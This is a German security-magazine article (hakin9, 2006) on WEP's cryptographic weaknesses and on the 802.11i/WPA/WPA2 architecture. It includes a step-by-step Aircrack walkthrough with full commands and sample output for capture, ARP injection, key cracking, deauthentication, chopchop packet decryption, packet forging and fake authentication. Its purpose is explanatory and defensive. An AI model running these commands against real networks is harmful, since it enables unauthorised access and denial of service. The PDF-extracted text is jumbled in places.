elbst wenn in Wi-Fi-Geräten Sicherheitsmaßnahmen aktiviert sind, wird in der Regel ein schwaches Verschlüsselungsprotokoll wie zum Beispiel WEP benutzt. In diesem Artikel werden wir die Schwächen von WEP untersuchen und feststellen, wie einfach es ist, das Protokoll zu knacken. Die beklagenswerte Unangemessenheit von WEP verdeutlicht das Bedürfnis nach einer neuen Sicherheitsarchitektur in Form des 802.11iStandards, weshalb wir ebenfalls einen Blick in Standardimplementationen von WPA und WPA2, sowie deren ersten kleineren Sicherheitslücken und deren Integration in Betriebssysteme werfen.
R.I.P. WEP
WEP (Wired Equivalent Privacy) war das Standard-Verschlüsselungsprotokoll, das im ersten IEEE 802.11-Standard bereits im Jahre 1999 eingeführt wurde. Es basiert auf dem RC4Verschlüsselungsalgorithmus, mit einem geheimen Schlüssel von 40 oder 104 Bits, die mit einem 24-Bit-Initialisierungsvektor (IV) kombiniert werden, um die Klartextnachricht M und dessen Prüfsumme – den ICV (Integrity Check Value) – zu verschlüsseln. Die verschlüsselte
12
hakin9 Nr. 1/2006
Nachricht C wurde demnach unter Benutzung der folgenden Formel bestimmt: C = [ M || ICV(M) ] + [ RC4(K || IV) ] wobei || ein Verknüpfungsoperator ist und + ein XOR-Operator. Offensichtlich ist der Initia-
In diesem Artikel erfahren Sie... • •
• •
die Schwächen der WEP-Verschlüsselung, einen umfassenden Überblick über den 802.11i-Standard und seine kommerziellen Umsetzungen: WPA und WPA2, die Grundlagen von 802.1x, die potentiellen Schwächen von WPA und WPA2.
Was Sie vorher wissen/können sollten... • •
www.hakin9.org
die Grundlagen von TCP/IP und des Wi-Fi-Protokolls, Sie sollten Grundkenntnisse in der Kryptographie besitzen.
WEP-, WPA- und WPA2-Sicherheit
lisierungsvektor der Schlüssel für die Sicherheit von WEP. Will man ein anständiges Maß an Sicherheit beibehalten und Enthüllungen minimieren, sollte der IV für jedes Paket erhöht werden, damit nachfolgende Pakete mit unterschiedlichen Schlüsseln verschlüsselt werden. Bedauerlich für die WEP-Sicherheit ist, dass der IV im Klartext übertragen wird und dass der 802.11-Standard keine IV-Erhöhung erzwingt. Er überlässt diese Sicherheitsmaßnahme den Optionen der jeweiligen Implementation der drahtlosen Endgeräte (Access Point oder Wireless Card).
Eine kurze Vorgeschichte zu WEP
Das WEP-Protokoll wurde nicht von Sicherheits- oder Kryptographie-Experten entworfen, weshalb es sich schnell als anfällig für die RC4-Probleme, die von David Wagner vier Jahre davor beschrieben wurden, zeigte. Im Jahre 2001 veröffentlichten Scott Fluhrer, Itsik Mantin und Adi Shamir (oder kurz: FMS) ihre berühmte Arbeit über WEP, die zwei Schwachstellen im RC4-Verschlüsselungsalgorithmus aufzeigten: Invariance Weaknesses und Angriffe bei bekanntem IV. Beide Angriffe beruhen auf der Tatsache, dass es für bestimmte Schlüsselwerte möglich ist, dass Bits in den Anfangsbytes des Keystream von nur ein paar wenigen Bits des Encryption-Key abhängen (obgleich normalerweise jedes Bit eines Keystreams sich mit 50% Wahrscheinlichkeit vom vorangehenden unterscheidet). Weil der Encryption-Key durch die Verknüpfung des geheimen Schlüssels mit dem IV zusammengesetzt wird, ergeben bestimmte IV-Werte schwache Schlüssel. Die Schwachstellen werden von Sicherheitstools, wie zum Beispiel AirSnort, ausgenutzt. Damit ist es möglich WEP-Schlüssel wiederherzustellen, indem eine ausreichende Menge an Traffic analysiert wird. Während diese Art von Angriff erfolgreich in einem belebten Netzwerk bei einem vernünftigen Zeitaufwand durchgeführt werden kann, war die Zeit, die zur Datenverarbeitung
Abbildung 1. WEP-Verschlüsselungsprotokoll benötigt wird, ziemlich lang. David Hulton (h1kari) entwickelte eine optimierte Version des Angriffs, der in die Betrachtung nicht nur das erste Byte der RC4-Ausgabe (wie in der FMS-Methode) einbezog, sondern ebenfalls die nachfolgenden. Das führte zu einer geringfügigen Reduzierung der Datenmenge, die für die Analyse notwendig war. Der Schritt der Integritätsüberprüfung leidet ebenfalls an einer ernsthaften Schwachstelle aufgrund des CRC32-Algorithmus, der für diese Aufgabe benutzt wird. CRC32 wird häufig bei Fehlererkennungen benutzt, aber wurde aufgrund seiner Linearität nie als kryptographisch sicher angesehen, wie Nikita Borisov, Ian Goldberg und David Wagner im Jahre 2001 feststellten. Seit diesem Zeitpunkt wurde angenommen, dass WEP nur für Privatanwender und unkritische Anwendungen ein akzeptables Maß an Sicherheit bietet. Jedoch war selbst diese vorsichtige Zurückhaltung mit dem Erscheinen von KoreK-Angriffen im Jahr 2004 (verallgemeinerte FMS-Angriffe, darunter auch die Optimierungen von h1kari) und des Inverted Arbaugh inductive-Angriffs, der es ermöglicht, dass beliebige Pakete ohne Wissen über den Schlüssel durch Packet-Injection entschlüsselt werden können, komplett vergessen. Cracking-Tools, wie Aircrack von Christophe Devine oder WepLab von José Ignacio Sánchez setzen diese Angriffe um und können einen 128-Bit WEP-Schlüssel in weniger als 10 Minuten wieder-
www.hakin9.org
herstellen (oder etwas langsamer, abhängig vom speziellen Access Point und der Wireless Card). Das Einfließen von Paket-Injection verbesserte die Zeiten fürs WEP-Cracking außerordentlich, da jetzt nicht mehr Millionen, sondern nur noch wenige tausend Pakete mit genügend einmaligen IVs benötigt werden – rund 150.000 für einen 64-Bit WEP-Schlüssel und 500.000 für einen 128-Bit-Schlüssel. Mit Paket-Injection war das Sammeln der notwendigen Daten eine Sache von Minuten. Gegenwärtig ist WEP völlig zweifellos tot (siehe Tabelle 1) und sollte nicht benutzt werden, nicht einmal mit Schlüsselrotation. WEP-Sicherheitslücken können wie folgt zusammengefasst werden: •
•
•
•
Schwachstellen des RC4-Algorithmus im WEP-Protokoll aufgrund der Schlüsselkonstruktion; IV sind zu kurz (24 Bits – weniger als 5000 Pakete werden für eine 50% Kollisionswahrscheinlichkeit benötigt) und IV-Wiederbenutzung ist erlaubt (kein Schutz gegen Nachrichtenwiederholung); keine angemessene Integritätsüberprüfung (CRC32 wird für Fehlererkennung benutzt und ist aufgrund seiner Linearität kryptographisch unsicher); keine eingebaute Methode zur Aktualisierung von Schlüsseln.
Cracking von WEP-Schlüsseln mit Aircrack
Mit Tools wie Aircrack (erstellt vom französischen Security Re-
hakin9 Nr. 1/2006
13
Thema der Ausgabe
Tabelle 1. Zeitachse des Todes von WEP Beschreibung
September 1995
Potentielle RC4-Schwachstelle (Wagner)
Oktober 2000
Erste Publikation über WEP-Schwachstellen: Unsafe at any key size; An analysis of the WEP encapsulation (Walker)
Mai 2001
An inductive chosen plaintext -Angriff gegen WEP/WEP2 (Arbaugh)
Juli 2001
CRC Bit flipping-Angriff – Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)
August 2001
FMS-Angriffe – Weaknesses in the Key Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir)
August 2001
Veröffentlichung von AirSnort
Februar 2002
Optimierte FMS-Angriffe von h1kari
August 2004
KoreK-Angriffe (einmalige IV) – Veröffentlichung von chopchop und chopper
Juli/ August 2004
Veröffentlichung von Aircrack (Devine) und WepLab (Sanchez), die die KoreK-Angriffe umsetzen
searcher Christophe Devine) kann WEP-Cracking sehr leicht demonstriert werden. Aircrack enthält drei Hauptwerkzeuge, die in den drei für die Schlüsselwiederherstellung benötigten Angriffsphasen benutzt werden: •
• •
airodump: Wireless SniffingTool, das zur Entdeckung von Netzwerken mit aktivierten WEP benutzt wird; aireplay: Injection-Tool zur Erhöhung des Traffics; aircrack: WEP-Schlüssel-Cracker, das die gesammelten einzelnen IV benutzt.
Derzeit unterstützt aireplay Injections nur auf bestimmten Wireless-Chipsätzen. Für die Injection-Unterstützung im Monitor-Modus werden die neuesten gepatchten Treiber benötigt. Der Monitor-Modus ist das Äquivalent zum Promiscuous-Modus in Kabelnetzwerken. Dieser verhindert, dass Pakete, die nicht für den überwachenden Host bestimmt sind, abgelehnt werden (was üblicherweise auf der physischen Schicht des OSI-Stacks gemacht wird). Dadurch können alle Pakete eingefangen
14
ARP-Request
Datum
hakin9 Nr. 1/2006
werden. Wenn die Treiber gepatched sind, wird nur eine Wireless Card benötigt, um gleichzeitig aufzunehmen und Traffic einzuspeisen. Das Hauptziel eines Angriffs ist es Traffic zu erzeugen, um einmalige IV einzufangen, die zwischen einem legitimierten Client und einem Access Point benutzt werden. Einige verschlüsselte Daten sind leicht wiedererkennbar, weil sie eine feste Länge besitzen, eine feste Zieladresse usw. Das ist der Fall bei ARP-Request-Paketen (siehe Kasten ARP-Request), die an die Broadcast-Adresse (FF:FF:FF:FF: FF:FF) gesendet werden und eine feste Länge von 68 Oktetts haben. ARP-Requests können wiederholt werden, um neue ARP-Responses von einem berechtigtem Host zu verursachen, was zu Nachrichten im Funknetz führt, die mit neuen IVs verschlüsselt werden. In den folgenden Beispielen ist 00:13:10:1F:9A:72 die MAC-Adresse des Access Points (BSSID) im Kanal 1 mit der SSID hakin9demo und 00:09:5B:EB:C5:2B ist die MAC-Adresse eines Clients (der WEP oder WPA-PSK, je nach Beispiel, benutzt) im drahtlosen
www.hakin9.org
Das Address Resolution Protocol (ARP – RFC826) wird benutzt, um 32-Bit IP-Adressen in 48-Bit Ethernet-Adressen umzuwandeln (Wi-Fi-Netzwerke benutzen ebenfalls das Ethernet-Protokoll). Zur Veranschaulichung dient Folgendes: wenn ein Host A (192.168.1.1) mit einem Host B (192.168.1.2) kommunizieren möchte, muss die bekannte IP-Adresse in eine MAC-Adresse unter Benutzung des ARP-Protokolls umgewandelt werden. Um das zu machen, sendet Host A eine Broadcast-Nachricht, die die IP-Adresse vom Host B enthält (Wer hat 192.168.1.2? Sage es 192.168.1.1). Der Zielhost gibt eine Antwort zurück (192.168.1.2 ist auf 01: 23:45:67:89:0A), nachdem er erkannt hat, dass die IP-Adresse im Paket mit der eigenen übereinstimmt. Die Antwort wird üblicherweise im Cache aufbewahrt.
Netzwerk. Die meisten Befehle erfordern root-Privilegien. Der erste Schritt ist das Aktivieren des Monitor-Modus auf Ihrer Wireless-Card (hier ein Atherosbasiertes Modell), damit wir den gesamten Traffic einfangen können (siehe Listing 1). Der nächste Schritt ist das Herausfinden von in der Nähe liegenden Netzwerken und deren Clients, indem alle 14 Kanäle, die Wi-Fi-Netzwerke benutzen können (siehe Listing 2), gescannt werden. Der Ergebnis in Listing 2 ist folgendermaßen zu interpretieren: ein Access Point mit der BSSID 00:13:10:1F:9A:72 benutzt WEPVerschlüsselung auf dem Kanal 1 mit der SSID hakin9demo und ein Client, der durch die MAC-Adresse 00:0C:F1:19:77:5C identifiziert werden kann, ist mit diesem Netzwerk verbunden und authentifiziert. Sobald das Zielnetzwerk lokalisiert wurde, sollte das Einfangen auf dem richtigen Kanal, um das Verpassen von Paketen während des Scannens anderer Kanäle zu vermeiden, gestartet werden. Folgender Befehl erzeugt die gleiche Ausgabe wie der vorangegangene: # airodump ath0 wep-crk 1
WEP-, WPA- und WPA2-Sicherheit
Als Nächstes können wir die vorher gesammelten Informationen dazu benutzen, mithilfe von aireplay Traffic einzuspeisen. Die Injection beginnt, wenn ein eingefangener ARP-Request, der mit der als Ziel angesetzten BSSID verknüpft ist, im drahtlosen Netzwerk auftaucht: # aireplay -3 \ -b 00:13:10:1F:9A:72 \ -h 00:0C:F1:19:77:5C \ -x 600 ath0 (...) Read 980 packets
Listing 1. Aktivierung des Monitor-Modus # airmon.sh start ath0 Interface Chipset ath0 Atheros
Driver madwifi (monitor mode enabled)
Listing 2. Auffinden in der Nähe liegender Netzwerke und deren Clients # airodump ath0 wep-crk 0 BSSID 00:13:10:1F:9A:72
PWR 62
Beacons 305
# Data 16
BSSID 00:13:10:1F:9A:72
STATION 00:0C:F1:19:77:5C
PWR 56
CH 1
MB 48
Packets 1
ENC WEP
ESSID hakin9demo
ESSID hakin9demo
(got 16 ARP requests), sent 570 packets...
Letztendlich wird aircrack dazu benutzt, den WEP-Schlüssel zu erlangen. Die Verwendung der pcap-Datei macht es möglich, dass dieser letzte Schritt ausgeführt werden kann, noch während airodump dabei ist Daten einzufangen (siehe Abbildung 2 für die Ergebnisse): # aircrack -x -0 wep-crk.cap
Andere Arten von Aircrack-Angriffen
Aircrack macht es außerdem möglich, andere interessante Angriffsarten durchzuführen. Schauen wir uns ein paar von ihnen einmal näher an.
Angriff 2: Deauthentifizierung
Dieser Angriff kann dazu benutzt werden, eine versteckte SSID (z. B. eine, die nicht per Broadcast versendet wird) zu erlangen, einen 4-WegeHandshake von WPA einzufangen oder ein Denial of Service zu erzwingen (dazu später in der Sektion über 802.11i mehr). Das Ziel des Angriffs ist es, den Client dazu zu bringen, dass er sich erneut authentifiziert. Dies, zusammen mit dem Fehlen einer Authentifizierung für Control Frames (die für die Authentifizierung, Verbindung etc. benutzt wird), ermöglicht es einem Angreifer, MACAdressen zu spoofen. Einem Client im drahtlosen Netzwerk kann die Authentifizierung mit folgendem Befehl entzogen werden. Dieser bewirkt, dass Deauthentifi-
zierungs-Pakete von der BSSID aus an die MAC-Adresse des Clients gesendet werden, wobei die BSSID gespooft wird: # aireplay -0 5 -a 00:13:10:1F:9A:72 -c 00:0C:F1:19:77:5C ath0
Massen-Deauthentifizierung ist ebenfalls möglich (allerdings nicht immer zuverlässig) und ist damit verbunden, dass der Angreifer kontinuierlich die BSSID spoofen und die Deauthentifizierungs-Pakete an die Broadcast-Adresse senden muss: # aireplay -0 0 -a 00:13:10:1F:9A:72 ath0
Angriff 3: Entschlüsselung beliebiger WEP-Datenpakete ohne Kenntnis des Schlüssels
Dieser Angriff basiert auf dem Proofof-Concept-Tool von KoreK, genannt chopchop, das mit WEP verschlüsselte Pakete entschlüsseln kann, ohne das dabei der Schlüssel selbst bekannt sein muss. Die Integritätsprüfung, die im WEP-Protokoll umgesetzt wurde, ermöglicht es einem Angreifer, sowohl ein verschlüsseltes Paket, als auch dessen zugehörigen CRC zu verändern. Darüber hinaus bedeutet die Benutzung des XOR-Operators im WEP-Protokoll, dass ein ausgewähltes Byte in der verschlüsselten Nachricht immer vom gleichen Byte in der KlartextNachricht abhängt. Durch das Abschneiden des letzten Bytes der
Abbildung 2. Aircrack-Ergebnisse nach ein paar Minuten
www.hakin9.org
hakin9 Nr. 1/2006
15
Thema der Ausgabe
Listing 3. Entschlüsseln von WEP-Paketen ohne Kenntnis des Schlüssels # aireplay -4 -h 00:0C:F1:19:77:5C ath0 Read 413 packets... Size: 124, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = 00:13:10:1F:9A:70 Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 d500 0013 101f 9a72 000c f119 775c 0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c 0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c 0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 0x0070: 3b88 c5b1 0843 0289 1bff 5160 Use this packet ? y Saving chosen packet in replay_src-0916-113713.cap Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 (...) Offset 35 (97% done) | xor = 83 | pt = 00 | 691 Offset 34 (98% done) | xor = 2F | pt = 08 | 692 Saving plaintext in replay_dec-0916-114019.cap Saving keystream in replay_dec-0916-114019.xor Completed in 183s (0.47 bytes/s)
.A.......r....w\ .....p.@......., \.'...h.#..GZ.[v .x.....0...hV.Sl pF_..K....j.4wt. .......5#.U...[. .+>.[...";.D7... ;....C....Q`
frames written in frames written in
1120ms 2013ms
frames written in frames written in
2072ms 2076ms
Listing 4. Einlesen einer pcap-Datei aus einem Angriff # tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) 11:40:19.642112 BSSID:00:13:10:1f:9a:72 § SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254: ICMP echo request, id 23046, seq 1, length 64
Listing 5. Wiedergabe eines gefälschten Pakets # aireplay -2 -r forge-arp.cap ath0 Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 0201 0013 101f 9a72 000c f119 775c 0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c 0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c 0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a 0x0040: 49b7 52da Use this packet ? y Saving chosen packet in replay_src-0916-124231.cap You must also start airodump to capture replies. Sent 1029 packets...
verschlüsselten Nachricht, wird diese beschädigt. Gleichzeitig wird aber dadurch ermöglicht, dass der Wert des dazugehörigen Klartext-Bytes erraten werden und die verschlüsselte Nachricht dementsprechend korrigiert werden kann.
16
hakin9 Nr. 1/2006
.A.......r....w\ ..............., \.'.I.`.%.KF.... ..S.o-.....3..Q. I.R.
wie gewöhnlich weitergeleitet. Indem man diesen Angriff für alle Bytes einer Nachricht wiederholt, kann man ein WEP-Paket entschlüsseln und den Keystream wiederherstellen. Denken Sie daran, dass IV-Inkrementierung im WEP-Protokoll nicht verbindlich ist, weshalb es möglich ist, diesen Keystream wiederzuverwenden, um nachfolgende Pakete zu spoofen (Wiederbenutzung des IV). Die Wireless-Card muss auf dem richtigen Kanal in den MonitorModus gewechselt werden (siehe vorangegangenes Beispiel für eine Beschreibung dazu). Der Angriff muss gegen einen berechtigten Client (immer noch 00:0C:F1:19: 77:5C in unserem Fall) durchgeführt werden und aireplay wird den Angreifer dazu auffordern, jedes einzelne verschlüsselte Paket anzunehmen (siehe Listing 3). Zwei pcap-Dateien werden erzeugt: eine für das unverschlüsselte Paket und eine weitere für deren dazugehörigen Keystream. Die daraus resultierende Datei kann mit einem passenden Reader (wir werden tcpdump benutzen) lesbar gemacht werden – siehe Listing 4 für ein Beispiel eines Ping, der zwischen Hosts ausgetauscht wird. Sobald der Keystream aufgezeichnet wurde, ist es möglich, jegliche Pakete zu fälschen. Hier ist ein gespoofter ARP-Request, der von 192.168.2.123 (00:0C:F1: 19:77:5C) an 192.168.2.103 gesendet wird: # arpforge \ replay_dec-0916-114019.xor \ 1 \ 00:13:10:1F:9A:72 \ 00:0C:F1:19:77:5C \ 192.168.2.123 \ 192.168.2.103 \ forge-arp.cap
Wenn das nachgebesserte Paket wiederum in das Netzwerk eingespeist wird, wird es vom Access Point gedropped, wenn die Vermutung falsch war (in diesem Fall muss erneut geschätzt werden). Bei einer richtigen Vermutung wird es jedoch
www.hakin9.org
Schließlich wird aireplay dazu benutzt dieses Paket wiederzugeben (siehe Listing 5). Diese Methode ist weniger automatisiert als das eigene ARPRequest-Spoofing von Aircrack (die -1-Option), ist jedoch anpassbarer.
WEP-, WPA- und WPA2-Sicherheit
Der Angreifer kann den entdeckten Keystream dazu benutzen, jegliche Pakete zu fälschen, die nicht länger als der Keystream sind (andernfalls muss der Keystream ausgedehnt werden).
Angriff 4: Fake-Authentifizierung
Die vorher (Angriffe 1 und 3) beschriebenen Cracking-Methoden für den WEP-Schlüssel benötigen einen berechtigten Client (real oder virtuell, wobei real besser ist), der mit einem Access Point verbunden ist, um sicherzustellen, dass der Access Point keine Pakete aufgrund einer nicht angeschlossenen Zieladresse verwirft. Wenn eine offene Authentifizierung benutzt wird, kann jeder Client mit dem Access Point authentifiziert und angeschlossen werden, allerdings wird der Access Point alle diejenigen Pakete droppen, die nicht mit dem richtigen WEP-Schlüssel verschlüsselt wurden. In dem Beispiel in Listing 6 wird Aireplay dazu benutzt, einen Authentication- und AssociationRequest für die SSID hakin9demo (BSSID: 00:13:10:1F:9A:72) mit der gespooften MAC-Adresse 0:1:2:3: 4:5 zu fälschen. Einige Access Points erfordern, dass sich Clients alle 30 Sekunden erneut verbinden. Dieses Verhalten kann in aireplay nachgeahmt werden, indem die zweite Option (0) mit 30 ersetzt wird.
802.11i
Im Januar 2001 wurde die i-Task Group im IEEE gegründet, um die Datenauthentifizierung und die Verschlüsselungssicherheit zu verbessern. Im April 2003 veröffentlichte die Wi-Fi Alliance (ein Verband zur Förderung und Zertifizierung von Wi-Fi) eine Empfehlung als Antwort auf Bedenken von Unternehmen in Bezug auf die Sicherheit drahtloser Netzwerke. Jedoch waren sie sich ebenfalls bewusst, dass Verbraucher nicht gewillt sein würden, ihr vorhandenes Equipment zu ersetzen.
Listing 6. Fake-Authentifizierung # aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0 18:30:00 Sending Authentication Request 18:30:00 Authentication successful 18:30:00 Sending Association Request 18:30:00 Association successful
Im Juni 2004 wurde der endgültige Release des 802.11i-Standards angenommen und erhielt den kommerziellen Namen WPA2 von der Wi-Fi Alliance. Der IEEE 802.11iStandard führte solche grundlegende Änderungen wie die Trennung der Nutzerauthentifizierung und der Sicherstellung der Nachrichtenintegrität bzw. -geheimhaltung und stellt dadurch eine stabile und anpassbare Sicherheitsarchitektur zur Verfügung, die gleichermaßen für Heimnetzwerke und große Unternehmensumgebungen geeignet ist. Die neue Architektur für drahtlose Netzwerke wird Robust Security Network (RSN) genannt und benutzt 802.1X-Authentifikation, stabile Schlüsselverteilung und neue Integritäts- und Privacy-Mechanismen. Obwohl die RSN-Architektur komplexer ist, bietet sie sichere und skalierbare Lösungen für drahtlose Kommunikationen. Ein RSN wird üblicherweise nur RSN-fähige Geräte akzeptieren, allerdings definiert IEEE 802.11i auch eine Transitional Security Network (TSN)-Architektur, in der sowohl RSN als auch WEP-Systeme teilnehmen können, wodurch es Benutzern ermöglicht wird, ihre Ausstattung rechtzeitig aufzurüsten. Wenn der Authentifikationsvorgang oder Verbindungsaufbau zwischen den Geräten den 4-Wege-Handshake benutzt, wird der Verbindungsaufbau als RSNA (Robust Security Network Association) bezeichnet. Die Herstellung einer sicheren Kommunikationsumgebung besteht aus vier Phasen (siehe Abbildung 4): • •
Übereinkommen über die Sicherheitspolicy; 802.1X-Authentifikation;
www.hakin9.org
• •
Schlüsselableitung und -verteilung; RSNA-Datenvertraulichkeit und -integrität.
Phase 1: Übereinkommen über die Sicherheitspolicy
Die erste Phase verlangt von den kommunizierenden Parteien, dass sich diese auf die zu benutzende Sicherheitspolicy einigen. Sicherheitspolicies, die der Access Point unterstützt, werden in Beacon oder in einer Probe Respond-Nachricht (die einem Probe Request vom Client folgt) angekündigt. Es folgt eine offene Standardauthentifikation (genau wie in TSN-Netzwerken, in denen eine Authentifikation immer erfolgreich ist). Die Antwort des Clients wird in der Association Request-Nachricht eingefügt, die von einem Association Response vom Access Point bestätigt wird. Informationen zur Sicherheitspolicy wird im Feld RSN IE (Information Element) gesendet, im Detail: •
•
•
•
unterstützte Authentifikationsmethoden (802.1X, Pre-Shared Key (PSK)); Sicherheitsprotokolle für UnicastTraffic (CCMP, TKIP etc.) – die Cipher-Suite für zwei Kommunikationspartner; Sicherheitsprotokolle für Multicast-Traffic (CCMP, TKIP etc.) – die Cipher-Suite für Gruppen, Unterstützung für Pre-Authentifizierung, die es Benutzern ermöglicht, sich vor dem Wechsel zu einem neuen Access Point des gleichen Netzwerks bereits vorläufig zu authentifizieren, zum Zwecke einer nahtlosen Übergabe.
Abbildung 5 veranschaulicht diese erste Phase.
hakin9 Nr. 1/2006
17
Thema der Ausgabe
bittet, wobei die Antwort des Clients die bevorzugte Authentifikationsmethode enthält. Danach werden geeignete Nachrichten zwischen dem Client und dem Authentication Server ausgetauscht, um einen allgemeinen Master Key (MK) zu generieren. Am Ende des Verfahrens wird eine Radius Accept-Nachricht vom Authentication Server an den Access Point gesandt, der den MK und eine endgültige EAP SuccessNachricht für den Client enthält. Abbildung 6 veranschaulicht diese zweite Phase. Abbildung 3. IEEE 802.1X-Modell aus der IEEE 802.1X-Spezifikation
Phase 2: 802.1X-Authentifikation
Die zweite Phase ist die auf EAP und den speziell vereinbarten Authentifikationsmethoden basierende 802.1X-Authentifizierung: EAP/TLS mit Client- und Serverzertifikaten
(die eine Public Key Infrastructure erfordern), EAP/TTLS oder PEAP für hybride Authentifikation (bei der nur die Server Zertifikate benötigen) etc. Die 802.1X-Authentifizierung wird eingeleitet, wenn der Access Point um Identitätsdaten vom Client
IEEE 802.1X und EAP
Das IEEE 802.1X-Authentifikationsprotokoll (ebenfalls bekannt als Port-Based Network Access Control) ist ein Framework, welches ursprünglich für Kabelnetzwerke entwickelt wurde und das Authentifizierung, Autorisierung und Schlüsselverteilungsmechanismen zur Verfügung stellt. Es setzt ebenfalls eine Zugangskontrolle für Benutzer, die sich mit dem Netzwerk verbinden, um. Die IEEE 802.1X-Architektur besteht aus drei funktionellen Einheiten: • • •
dem Supplicant, der sich mit dem Netzwerk verbindet; dem Authenticator, der eine Zugangskontrolle bereit stellt; dem Authentication Server, der Authentifizierungsentscheidungen trifft.
In kabellosen Netzwerken dient der Access Point als Authenticator. Jeder physische Port (virtueller Port in drahtlosen Netzwerken) wird in zwei logische Ports unterteilt, die die PAE (Port Access Entity) bilden. Die Authentifizierungs-PAE ist immer offen und lässt Authentifikations-Frames durch, während der Service-PAE nur nach einer erfolgreichen Autentifizierung (z. B. bei einem autorisierten Zustand) für eine begrenzte Zeit (Standard sind 3600 Sekunden) geöffnet wird. Die Entscheidung, ob der Zugang erlaubt werden soll, wird üblicherweise von der dritten Einheit, namentlich dem Authentication Server (der entweder ein bestimmter Radius-Server oder – zum Beispiel in Privatnetzwerken – ein einfacher Prozess, der auf einem Access Point läuft, sein kann) gemacht. Abbildung 3 veranschaulicht, wie diese Einheiten kommunizieren.
18
hakin9 Nr. 1/2006
Phase 3: Schlüsselhierarchie und -verteilung
Verbindungssicherheit stützt sich im großen Maße auf geheime Schlüssel. Bei RSN besitzt jeder Schlüssel eine begrenzte Lebensdauer und eine Gesamtsicherheit wird durch die Benutzung einer Sammlung mehrerer Schlüssel, die in einer Hie-
Der 802.11i-Standard führt kleinere Veränderungen an IEEE 802.1X für drahtlose Netzwerke durch, damit die Möglichkeit des Identitätsdiebstahls berücksichtigt wird. Eine Nachrichtenauthentifizierung wurde eingebaut, damit sichergestellt ist, dass sowohl der Supplicant als auch der Authenticator ihre geheimen Schlüssel berechnen und die Verschlüsselung aktivieren, bevor sie auf das Netzwerk zugreifen. Der Supplicant und der Authenticator kommunizieren mithilfe eines EAP-basierten Protokolls. Beachten Sie, dass die Rolle des Authenticators im Wesentlichen passiv ist – möglicherweise leitet er einfach alle Nachrichten an den Authentication Server weiter. EAP ist ein Framework für den Transport verschiedener Authentifizierungsmethoden und ermöglicht nur eine begrenzte Anzahl von Nachrichten (Request, Response, Success, Failure), während andere dazwischenliegende Nachrichten abhängig von der ausgewählten Authentifikationsmethode sind: EAP-TLS, EAP-TTLS, PEAP, Kerberos V5, EAP-SIM etc. Wenn der gesamte Vorgang abgeschlossen wurde (aufgrund der Vielzahl möglicher Methoden werden wir hier ins Detail gehen), haben beide Einheiten (z. B. der Supplicant und der Authentication Server) einen geheimen Master-Schlüssel. Das Protokoll, das in drahtlosen Netzwerken dazu benutzt wird EAP zu transportieren, wird als EAPOL (EAP Over LAN) bezeichnet. Kommunikationen zwischen dem Authenticator und dem Authentication Server finden mithilfe von Protokollen höherer Schichten, wie zum Beispiel Radius usw., statt.
www.hakin9.org
WEP-, WPA- und WPA2-Sicherheit
rarchie geordnet sind, sicher gestellt. Wenn ein Sicherheitsrahmen nach einer erfolgreichen Authentifizierung hergestellt wird, werden temporäre (Session-)Schlüssel erzeugt und regelmäßig aktualisiert, bis der Sicherheitsrahmen wieder geschlossen wurde. Schlüsselerzeugung und -austausch sind das Ziel der dritten Phase. Es tauchen während der Schlüsselerstellung zwei Handshakes auf (siehe Abbildung 7): •
•
4-Wege-Handshake für PTK(Pairwise Transient Key) und GTK- (Group Transient Key) Erstellung; Gruppenschlüssel-Handshake für GTK-Verlängerung.
Abbildung 4. 802.11i Arbeitsphasen
Die PMK (Pairwise Master Key)Erstellung hängt von der benutzten Authentifikationsmethode ab: •
•
wenn ein PSK (Pre-Shared Key) benutzt wird, PMK = PSK. Der PSK wird aus einer Passphrase (zwischen 8 bis 63 Zeichen) oder einem 256-Bit-String generiert und stellt eine Lösung für Privatnetzwerke und kleinere Unternehmen, die keinen Authentication Server haben, zur Verfügung; wenn ein Authentication Server benutzt wird, wird der PMK vom MK der 802.1X-Authentifikation abgeleitet.
Der PMK selbst wird für die Verschlüsselung oder die Integritätsüberprüfung niemals verwendet. Anstelle davon wird er dazu benutzt, einen temporären Encryption-Key zu generieren – für Unicast-Traffic ist das der PTK (Pairwise Transient Key). Die Länge des PTK hängt vom Verschlüsselungsprotokoll ab: 512 Bits bei TKIP und 384 Bits bei CCMP. Der PTK besteht aus mehreren zugeordneten temporären Schlüsseln: •
KCK (Key Confirmation Key – 128 Bits): Schlüssel zum Authentifizieren von Nachrichten (MIC) während des 4-Wege-
Abbildung 5. Phase 1: Übereinkommen über die Sicherheitspolicy
Abbildung 6. Phase 2: 802.1X-Authentifikation
•
Handshakes und dem Gruppenschlüssel-Handshake; KEK (Key Encryption-Key – 128 Bits): Schlüssel für die Sicher-
www.hakin9.org
stellung der Datenvertraulichkeit während des 4-Wege-Handshakes und dem GruppenschlüsselHandshake;
hakin9 Nr. 1/2006
19
Thema der Ausgabe
Abbildung 7. Phase 3: Schlüsselerstellung und -verteilung
Abbildung 8. Phase 3: Hierarchie durch paarweise generierte Schlüssel (Pairwise Key Hierarchy) •
•
